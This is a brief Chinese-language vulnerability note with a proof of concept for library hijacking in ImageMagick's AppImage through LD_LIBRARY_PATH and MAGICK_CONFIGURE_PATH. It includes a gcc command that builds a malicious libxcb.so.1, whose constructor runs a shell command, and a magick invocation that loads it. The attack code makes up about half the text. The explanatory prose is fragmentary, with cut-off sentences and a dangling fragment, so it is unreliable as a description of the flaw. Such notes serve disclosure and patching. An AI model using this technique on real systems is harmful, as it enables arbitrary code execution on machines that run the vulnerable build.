文章:
原因:在 ImageMagick 的 AppImage 的上下文中,变量 MAGICK_CONFIGURE_PATH
和 LD_LIBRARY_PATH
指定应用程序搜索配置文件和共享库的位置。如果攻击者可以操纵这些路径,他们可以颠覆执行流程并执行任意命令
.so
文件)使用环境变量如 LD_LIBRARY_PATH
动态加载。如果 LD_LIBRARY_PATH
设置为不受信任的目录,攻击者可以注入恶意共享库,系统可能会执行这些库而不是合法的库1.编译一个恶意的So文件
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("id");
exit(0);
}
EOF
2.执行ImageMagick
magick hey.png /dev/null